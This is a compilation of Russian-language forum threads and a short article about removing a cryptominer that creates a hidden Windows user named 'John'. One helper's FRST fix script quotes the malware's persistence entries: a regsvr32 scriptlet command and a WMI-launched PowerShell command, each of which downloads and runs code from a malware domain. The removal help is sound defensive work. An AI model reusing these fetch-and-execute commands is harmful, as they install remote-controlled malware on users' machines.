Появился пользователь john в windows 10 как удалить

0 / 0 / 0

Регистрация: 28.12.2021

Сообщений: 12

1

28.12.2021, 22:56. Показов 16242. Ответов 17


Студворк — интернет-сервис помощи студентам

Как вы могли догадаться из названия я совершенно случайно обнаружил ещё одного скрытого пользователя своей системы:

Имя устройства LAPTOP-SR6R18LC
Процессор Intel(R) Core(TM) i5-10210U CPU @ 1.60GHz 2.11 GHz
Оперативная память 8,00 ГБ (доступно: 7,84 ГБ)
Тип системы 64-разрядная операционная система, процессор x64
Выпуск Windows 10 Домашняя для одного языка
Версия 20H2
Дата установки ‎07.‎08.‎2021
Сборка ОС 19042.1415
Взаимодействие Windows Feature Experience Pack 120.2212.3920.0

По имени John который обладал правами удалённого доступа. Не долго думая ,удалив его через Выполнить , решил убедиться в своих подозрениях и попал на ваш сайт где описан похожий случай. Решил последовать вашим инструкциям и создать тему по этому поводу. К слову вирус никак себя не выдаёт, процессы не висят. Единственное что при попытке зайти на ваш сайт через браузер Edge — браузер вылетал, уж не знаю связанно это или нет. Сейчас сижу через яндекс. В общем логи приложил. Дайте знать что это и что с этим делать. Я право не в силах бороться на равных с этой электроникой.



0



Programming

Эксперт

94731 / 64177 / 26122

Регистрация: 12.04.2006

Сообщений: 116,782

28.12.2021, 22:56

Ответы с готовыми решениями:

Майнер по имени John взломал мой компьютер и я не могу скачать антивирусы
Сегодня я, как обычно, включил компьютер и начал работать. Вдруг замечаю, что компьютер медленно…

Подскажите вероятный листинг диаграммы
У кого есть возможность, напишите пожалуйста листинг для такой структуры. Хотя бы приблизительный…

Программа, которая позволит ставить вероятный диагноз
Привет, парни, участвую в конкурсе по информатике, пишу программу, которая позволит ставить…

Найти наиболее вероятный прямоугольник среди множества точек
Всем привет. Застрял на такой задаче: Есть декартовы координаты, на них определено n>=4 точек….

17

Вирусоборец

12791 / 6942 / 1448

Регистрация: 06.09.2009

Сообщений: 25,761

28.12.2021, 23:28

2

Скачайте AV block remover.
Распакуйте, запустите и следуйте инструкциям. Если не запускается, переименуйте файл AVbr.exe в, например, AV_br.exe
В результате работы утилиты появится отчёт AV_block_remove_дата-время.log, прикрепите его к следующему сообщению.

После перезагрузки системы соберите новый CollectionLog Автологером.



0



0 / 0 / 0

Регистрация: 28.12.2021

Сообщений: 12

29.12.2021, 00:26

 [ТС]

3

Я вынужден извиниться, ведь выполнить подобные манипуляции не представляется возможным. Даже при переименовании программа не ставится. Система говорит что там вирус или вредоносная программа и удаляет его.



0



0 / 0 / 0

Регистрация: 28.12.2021

Сообщений: 12

29.12.2021, 00:50

 [ТС]

4

—>

Миниатюры

Вероятный майнер по имени John
 

Вероятный майнер по имени John
 



0



Вирусоборец

12791 / 6942 / 1448

Регистрация: 06.09.2009

Сообщений: 25,761

29.12.2021, 01:22

5

Нет там вируса. Отключите параноидального Защитника Windows хотя бы на время лечения.



0



0 / 0 / 0

Регистрация: 28.12.2021

Сообщений: 12

29.12.2021, 01:49

 [ТС]

6

Мой косяк. На 10 винде столько служб по защите появилось что черт ногу сломит , а защиты всё равно ноль.



0



0 / 0 / 0

Регистрация: 28.12.2021

Сообщений: 12

29.12.2021, 01:51

 [ТС]

7

—>



0



Вирусоборец

12791 / 6942 / 1448

Регистрация: 06.09.2009

Сообщений: 25,761

29.12.2021, 01:54

8

Скачайте Farbar Recovery Scan Tool (или с зеркала) и сохраните на Рабочем столе.

  • Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.

1. Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
2. Убедитесь, что в окне Optional Scan (Дополнительные опции) отмечены List BCD и 90 Days Files.
3. Нажмите кнопку Scan (Сканировать).
4. После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа.
5. Если программа была запущена в первый раз, также будет создан отчет (Addition.txt).
6. Файлы FRST.txt и Addition.txt заархивируйте (в один общий архив) и прикрепите к сообщению.



0



0 / 0 / 0

Регистрация: 28.12.2021

Сообщений: 12

29.12.2021, 02:04

 [ТС]

9

Готово



0



0 / 0 / 0

Регистрация: 28.12.2021

Сообщений: 12

29.12.2021, 02:32

 [ТС]

10

Ну по ощущениям уже что то изменилось. Раньше шумел вентиляторами как вертолёт , а щас вдруг притих. Я думал так и должно быть) Ан нет. Видно что то с торрентов подцепил ещё пару месяцев назад. Ну что за погань….нет чтобы честным пиратством заниматься.)

Добавлено через 11 минут
Сестре купили ноут. Решил потестить немного. Ну всё как обычно в общем.)



0



Вирусоборец

12791 / 6942 / 1448

Регистрация: 06.09.2009

Сообщений: 25,761

29.12.2021, 07:09

11

1. Выделите следующий код и скопируйте в буфер обмена (правая кнопка мышиКопировать)

Код

Start::
CreateRestorePoint:
HKLM-x32\...\Run: [start] => regsvr32 /u /s /i:hxxp://js.ha7455h6fi1.net:280/v1.sct scrobj.dll (Нет файла) <==== ВНИМАНИЕ
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Ограничение <==== ВНИМАНИЕ
WMI:subscription\CommandLineEventConsumer->topk4::[CommandLineTemplate => cmd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://wmi.ha7455h6fi1.net:8080/power.txt')||regsvr32 /u /s /i:http://ha7455h6fi1.net:8080/s.txt scrobj.dll&wmic os get /FORMAT:"http://wmi.ha7455h6fi1.net:8220/s.xsl"]
Reboot:
End::

2. Запустите Farbar Recovery Scan Tool от имени Алминистратора по правой кнопке мыши.
3. Нажмите один раз на кнопку Fix (Исправить) и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении.

  • Обратите внимание: будет выполнена перезагрузка компьютера.



0



0 / 0 / 0

Регистрация: 28.12.2021

Сообщений: 12

29.12.2021, 14:25

 [ТС]

12

Готово



0



0 / 0 / 0

Регистрация: 28.12.2021

Сообщений: 12

29.12.2021, 14:52

 [ТС]

13

Откуда пришла эта зараза можно выяснить? И посоветуете антивирус какой?



0



Вирусоборец

12791 / 6942 / 1448

Регистрация: 06.09.2009

Сообщений: 25,761

29.12.2021, 19:53

14

Цитата
Сообщение от Aexd
Посмотреть сообщение

Откуда пришла эта зараза можно выяснить?

Не представляется возможным, но наверняка с каким-нибудь кряком, кейгеном и т.п.

Проблема решена?

Загрузите SecurityCheck by glax24 & Severnyj и сохраните утилиту на Рабочем столе.

  • Запустите двойным щелчком мыши (если Вы используете Windows XP) или из меню по щелчку правой кнопки мыши Запустить от имени администратора (если Вы используете Windows Vista/7/8/10);
  • Если увидите предупреждение от вашего фаервола относительно программы SecurityCheck, не блокируйте ее работу;
  • Дождитесь окончания сканирования, откроется лог в Блокноте с именем SecurityCheck.txt;
  • Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например C:\SecurityCheck\SecurityCheck.txt;
  • Прикрепите этот файл в своем следующем сообщении.



0



0 / 0 / 0

Регистрация: 28.12.2021

Сообщений: 12

29.12.2021, 20:10

 [ТС]

15

Да, в общем да. Больше не греется и не шумит как последние пару месяцев. Ну можно сказать поработал в стресс режиме. Ничего не сгорело и не отвалилось.Тест прошёл успешно)



0



0 / 0 / 0

Регистрация: 28.12.2021

Сообщений: 12

29.12.2021, 20:24

 [ТС]

16

Если на этом всё, то хочу от души поблагодарить за вашу оперативную подмогу и знания. Респект администрации сайта и подобным ресурсам за вклад в борьбу со злым умыслом и спасения каждого из людей встретившего проблемы в этой сфере в частности и всего мира в общности.



0



Вирусоборец

12791 / 6942 / 1448

Регистрация: 06.09.2009

Сообщений: 25,761

29.12.2021, 22:58

17

——————————- [ Browser ] ——————————-
Opera Stable 82.0.4227.23 v.82.0.4227.23 Внимание! Скачать обновления
^Проверьте обновления через меню О программе!^
Opera 11.00 v.11.00.1156 Внимание! Скачать обновления
Yandex (All Users) v.21.11.4.727 Внимание! Скачать обновления
^Проверьте обновления через меню Дополнительно — О браузере Yandex!^
—————————- [ UnwantedApps ] ——————————
Кнопка «Яндекс» на панели задач v.2.2.1.54 Внимание! Приложение распространяется в рамках партнерских программ и сборников-бандлов. Рекомендуется деинсталляция. Возможно Вы стали жертвой обмана или социальной инженерии.
Driver Easy 5.7.0.39448 v.5.7.0.39448 Внимание! Подозрение на демо-версию антишпионской программы, программу для обновления драйверов, программу-оптимизатор или программу очистки реестра. Рекомендуется деинсталляция и сканирование ПК с помощью Malwarebytes Anti-Malware. Возможно Вы стали жертвой обмана или социальной инженерии.

Исправляйте указанное + Рекомендации после удаления вредоносного ПО



0



0 / 0 / 0

Регистрация: 28.12.2021

Сообщений: 12

30.12.2021, 01:26

 [ТС]

18

Спасибо вам.. Всех благ и всего самого наилучшего в новом году. С наступающим.



0



IT_Exp

Эксперт

87844 / 49110 / 22898

Регистрация: 17.06.2006

Сообщений: 92,604

30.12.2021, 01:26

Помогаю со студенческими работами здесь

Вирус пользователь john
Помогите пожалуйста надо удалить вирус Майнер . Заметил его когда оперативная память начала…

Скрытый пользователь John
Что делать на компьюетере появился скрытый пользователь. обнаружил я через программу AVBR….

На ПК появился скрытый пользователь John
Все началось с того, что падал фпс до 5-8 в играх, если не трогаешь мышь или клавиатуру в течение…

Система перестала загружаться появился пользователь john
Здравствуйте.
У меня на ПК несколько ОС. На днях Windows 7 перестала загружаться.
Черный экран и…

Папка с неизвестным пользователем John и вирус шифровальщик
Около 5 дней наблюдаю такую ситуацию,что у файлом появляется странное расширение(.secure),в случае…

Поймал майнера, появился новый пользователь John
Поймал майнера, судя по прочитанным статьям. Из необычного появился новый пользователь John….

Задача «John, Bruce and beer»
Вот мой код. Задача проходит на 97%. Подскажите в чем моя ошибкаvar f1,f2:text;
a,b,c:real;

Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:

18

#1

olker

    Newbie

  • Posters
  • 4 Сообщений:

Отправлено 05 Август 2022 — 10:16

Заметил вирус благодаря тому, что с метамаска списался эфириум на 15$ — всё что было на кошельке. В хроме появились расширения загруженные с компьютера, но не мной. Подозрительные процессы в автозагрузке. Появление второй учётное записи «John» с паролем и нет доступа к папкам с названиями антивирусов, что собственно не даёт ими воспользоваться.

Cureit нашёл следующее:

2022-08-04-18-57-40.jpg

AdwClearner:

2022-08-05-01-00-31.jpg

Malwarbytes — установить получается но нет доступа к этой папке с моей учётки.

ab63fdac7fa35e9e26da6a3cbec39d4f.png

Логи которые получилось зафиксировать по инструкции:

https://disk.yandex.ru/d/edrLrPJE39NycA 

Подозрительные процессы в автозагрузке: 

2022-08-05-12-09-00.jpg

Расширения в хроме загруженные с компьютера, но не мной. (savematic, gifty box) — маскируются под сервисы кэшбэка.

2022-08-04-18-46-55.jpg

Посмотрел кучу видео, почистил папки temp (ещё не наткнулся на данный форум к этому моменту). Что делать дальше — пока ума не приложу. Надеюсь сможете хоть чем-нибудь помочь, буду очень благодарен.

  • Наверх


#2


Dr.Robot

Dr.Robot

    Poster

  • Helpers
  • 3 023 Сообщений:

Отправлено 05 Август 2022 — 10:16

1. Если Вы подозреваете у себя на компьютере вирусную активность и хотите получить помощь в этом разделе,

Вам необходимо кроме описания проблемы приложить к письму логи работы трёх программ — сканера Dr. Web (или CureIt!, если антивирус Dr. Web не установлен на Вашем ПК), Hijackthis и DrWeb SysInfo. Где найти эти программы и как сделать логи описано в Инструкции. Без логов помочь Вам не сможет даже самый квалифицированный специалист.

2. Если у Вас при включении компьютера появляется окно с требованием перечислить некоторую сумму денег и при этом блокируется доступ к рабочему столу,

— попытайтесь найти коды разблокировки здесь https://www.drweb.com/xperf/unlocker/
— детально опишите как выглядит это окно (цвет, текст, количество кнопок, появляется ли оно до появления окна приветствия Windows или сразу же после включении компьютера);
— дождаться ответа аналитика или хелпера;

3. Если у Вас зашифрованы файлы,

Внимание! Услуга по расшифровке файлов предоставляется только лицензионным пользователям продуктов Dr.Web, у которых на момент заражения была установлена коммерческая лицензия Dr.Web Security Space не ниже версии 9.0, Антивирус Dr.Web для Windows не ниже версии 9.0 или Dr.Web Enterprise Security Suite не ниже версии 6.0. подробнее.

Что НЕ нужно делать:
— лечить и удалять найденные антивирусом вирусы в автоматическом режиме или самостоятельно. Можно переместить всё найденное в карантин, а после спросить специалистов или не предпринимать никаких действий, а просто сообщить название найденных вирусов;
— переустанавливать операционную систему;
— менять расширение у зашифрованных файлов;
— очищать папки с временными файлами, а также историю браузера;
— использовать самостоятельно без консультации с вирусным аналитиком Dr. Web дешифраторы из «Аптечки сисадмина» Dr. Web;
— использовать дешифраторы рекомендуемые в других темах с аналогичной проблемой.

Что необходимо сделать:
— прислать в вирусную лабораторию Dr. Web https://support.drweb.com/new/free_unlocker/?keyno=&for_decode=1 несколько зашифрованных файлов и, если есть, их не зашифрованные копии в категорию Запрос на лечение. Дожидаться ответа на Вашу почту вирусного аналитика и далее следовать его указаниям ведя с ним переписку по почте. На форуме рекомендуется указать номер тикета вирлаба — это номер Вашего запроса, содержащий строку вида [drweb.com #3219200];

4. При возникновении проблем с интернетом, таких как «не открываются сайты», в браузерах появляются картинки с порно или рекламным содержанием там, где раньше ничего подобного не было, появляются надписи типа «Содержание сайта заблокировано» и пр. нестандартные уведомления необходимо выложить дополнительно к логам из п.1 лог команды ipconfig

Для этого проделайте следующее:

  • Зайдите в меню Пуск на Рабочем столе, вызовите в нем окно команды Выполнить…
  • В появившемся окне наберите cmd и нажмите клавишу <Enter>. Появится черное окно консоли (интерпретатора команд).
  • Напишите в этом черном окне команду ipconfig /all>»%userprofile%\ipc.log» и нажмите клавишу <Enter>, затем наберите там же команду explorer.exe /select,»%userprofile%\ipc.log» и нажмите клавишу <Enter>, нужный файл будет показан в Проводнике Windows.
  • Приложите этот файл к своему сообщению на форуме.

Чтобы не сделать ошибок в написании команд, можно скопировать эти команды отсюда и последовательно вставлять в черное окно консоли путем выбора пункта Вставить из меню, появляющегося при нажатии правой кнопки мыши в черном окне консоли.

  • Наверх


#3


Dmitry_rus

Dmitry_rus

    Guru

  • Helpers
  • 3 528 Сообщений:

Отправлено 05 Август 2022 — 10:28

Rdpwrapper? Удаленный раб. стол (RDP) не используете?

  • Наверх


#4


olker

olker

    Newbie

  • Posters
  • 4 Сообщений:

Отправлено 05 Август 2022 — 11:22

Rdpwrapper? Удаленный раб. стол (RDP) не используете?

Нет, не использовал 

  • Наверх


#5


Ivan Susloparov

Ivan Susloparov

    Member

  • Virus Analysts
  • 163 Сообщений:

Отправлено 05 Август 2022 — 13:54

Воспользуйтесь утилитой для повторного сбора логов: https://drw.sh/fnlurr

  • Наверх


#6


B.Chugunov

B.Chugunov

    Advanced Member

  • Dr.Web Staff
  • 559 Сообщений:

Отправлено 05 Август 2022 — 22:09

Вирус создал вторую учётную запись «John», предполагаю что это майнер

Знаю я одного Джона, тоже предполагаю, что он майнер.  :D 
P.S. сори на оффтоп
По сабжу, нужен отчет fixit. 

——————
best regards,
Technical support department, Doctor Web, Ltd.

  • Наверх


#7


NickM

NickM

    Member

  • Posters
  • 171 Сообщений:

Отправлено 06 Август 2022 — 21:24

Хмм, зарезали пост  указанием ссылок на ресурсы помощи, а человек походу и продолжает мучаться (или успел прочитать и «пролечился»)..

  • Наверх


#8


olker

olker

    Newbie

  • Posters
  • 4 Сообщений:

Отправлено 07 Август 2022 — 18:32

Хмм, зарезали пост  указанием ссылок на ресурсы помощи, а человек походу и продолжает мучаться (или успел прочитать и «пролечился»)..

Нет, к счастью проблему решил с помощью очень крутых ребят с компьютерного форума. Если что могу дать ссылку в лс. 

  • Наверх


#9


NickM

NickM

    Member

  • Posters
  • 171 Сообщений:

Отправлено 07 Август 2022 — 19:23

Если что могу дать ссылку в лс.

Незачем;

Нет, к счастью проблему решил с помощью очень крутых ребят с компьютерного форума.

Тогда у Вас всё хорошо  ;)

  • Наверх


#10


ummate

ummate

    Newbie

  • Members
  • 1 Сообщений:

Отправлено 19 Август 2022 — 15:35

у меня жена наустанавливала игр от Алавара, теперь  на всех ПК этот John учетка появилась, подскажите что делать как лечить?

Сообщение было изменено ummate: 19 Август 2022 — 15:35

  • Наверх


#11


Ivan Susloparov

Ivan Susloparov

    Member

  • Virus Analysts
  • 163 Сообщений:

Отправлено 19 Август 2022 — 17:04

у меня жена наустанавливала игр от Алавара, теперь  на всех ПК этот John учетка появилась, подскажите что делать как лечить?

В первую очередь создайте отдельную тему для данного случая. В ней прикрепите отчеты, созданные данной утилитой ( https://drw.sh/xseqpa), со ссылкой на яндекс/гугл диск

  • Наверх


От
Ross

Здравствуйте, решил скачать кряк для Adobe Lightroom, после его установки и «патча» Каспер через несколько минут заругался и нашёл 2 вируса PDM:Trojan.Win32.Bazon.a, так же PDM:Trojan.Win32.Generic, один из них он определил как Майнер, на диске С появилась папка Google/Chrome/updater.exe на этот ‘updater’ он и ругался

кряк я удалил(Adobe GenP 3.0), Каспер начал их удалять, всё получилось в отчётах написано что Generic и Bazon удалены, после этого начал полное сканирование, иногда оно останавливалось на 50 потом на 70 и 90%, но потом продолжал сканирование, это меня смутило, вдруг что-то мог пропустить? Могут ли эти трояны вернуться или как либо подгружаться в систему даже после удаления Каспером? и есть ли возможность полностью проверить систему на отсутствие этих гадов в системе?? Так-же в момент поражения пк этими зловредами в нем находилась флешка, очень важная для работы! Могли ли они как-то перекочевать на нее? Каспером её тоже проверил, он пишет что угроз нет! Прикрепляю отчет мониторинга и отчет Полного сканирования после удаления троянов! Заранее спасибо)

отчёт мониторинга.txt
полная проверка каспер(после удаления).txt

Зачастую бывает нужно удалить пользователя John в учетной записи Windows. Это может быть связано с тем, что данная учетная запись не используется, или же ее нужно удалить по другой причине. В данной статье мы расскажем, как удалить пользователя John в netplwiz.

Шаг 1: Запустите командную строку

Для начала необходимо запустить командную строку. Для этого откройте меню «Пуск» и в строке поиска введите «cmd». Выберите «Командная строка» и нажмите правую кнопку мыши. В открывшемся меню выберите «Запуск от имени администратора».

Шаг 2: Откройте netplwiz

Чтобы удалить пользователя John в netplwiz, нужно открыть соответствующее приложение. Для этого введите команду «netplwiz» в командной строке и нажмите Enter.

Шаг 3: Выберите пользователя John

В открывшемся окне выберите вкладку «Пользователи». Найдите пользователя John в списке аккаунтов и выберите его.

Шаг 4: Удалите пользователя John

Нажмите на кнопку «Удалить», расположенную внизу окна. Подтвердите свое намерение удалить пользователя John.

Шаг 5: Перезапустите компьютер

Чтобы изменения вступили в силу, необходимо перезапустить компьютер. Для этого откройте меню «Пуск», выберите «Выключение компьютера» и нажмите «Перезагрузить».

После перезагрузки компьютера пользователь John будет удален из системы. Вы можете перейти в «Параметры учетной записи» для проверки, что учетная запись John больше не присутствует в списке аккаунтов.

Вывод

Удаление пользователя John в netplwiz оказалось довольно простым процессом. Следуйте нашим инструкциям и вам удастся выполнить данное действие без проблем. Не забудьте перезапустить компьютер, чтобы изменения вступили в силу.

Воин Моргота, конечно уже много времени прошло, но всё-же и я поздно наткнулся на данную тему, и то, потому что сам столкнулся с такой же проблемой. В итоге скажу, что это вирус-майнер, и не простой, а создаёт с помощью этого скрытого аккаунта удалённое rdp-подключение, блокирует доступ на сайты антивирусного ПО и блокирует запуск любых антивирусных утилит, типа доктор веб, kvrt и т.д. Селится он в скрытых системных папках, зайти на них тоже не даст.

Как бороться: либо скачать на флешку с другого компа утилиту AVbr и KVRT, переименовать их, например 123 и 321 и после запустить сначала AVbr (она удалит скрытых пользователей и восстановит права на папки системные и т.д….) ну а KVRT подчистит остатки и хвосты от вируса. Ну либо переустановка ОС с полным форматированием диска (не быстрое а полное). Я не стал форматировать диск и менять ОС, всё успешно вылечилось. Расписывать долго, но скажу коротко, мучался весь день, про AVbr утилиту узнал только после, в итоге вручную в безопасном режиме рылся в папках, удалял все странные файлы. У меня от шкерился под процесс RealtekHD (звуковой карты). Также вручную удалил все exe-шники с автозапуска (скрытые) и тд…

Теперь самое главное — подцепил с репака от Chovka и FitGirl (качал игру Cities Skyline градостроительный симулятор). Пренебрёг оповещением антивируса (добавил файлы в исключения) и тут понеслось… Также будьте аккуратны с репаками от Evgeny98. Вообще лучше всего репаки от Механиков, там точно нет майнеров, да и сама контора себя зарекомендовала положительно. С любыми репаками — ухо востро.

  • Появился пароль на windows 10 но я не ставил
  • Презентация на тему windows история создания
  • Появился еще один пользователь windows 10
  • Презентация на тему windows 10 mobile
  • Появился usb накопитель windows 10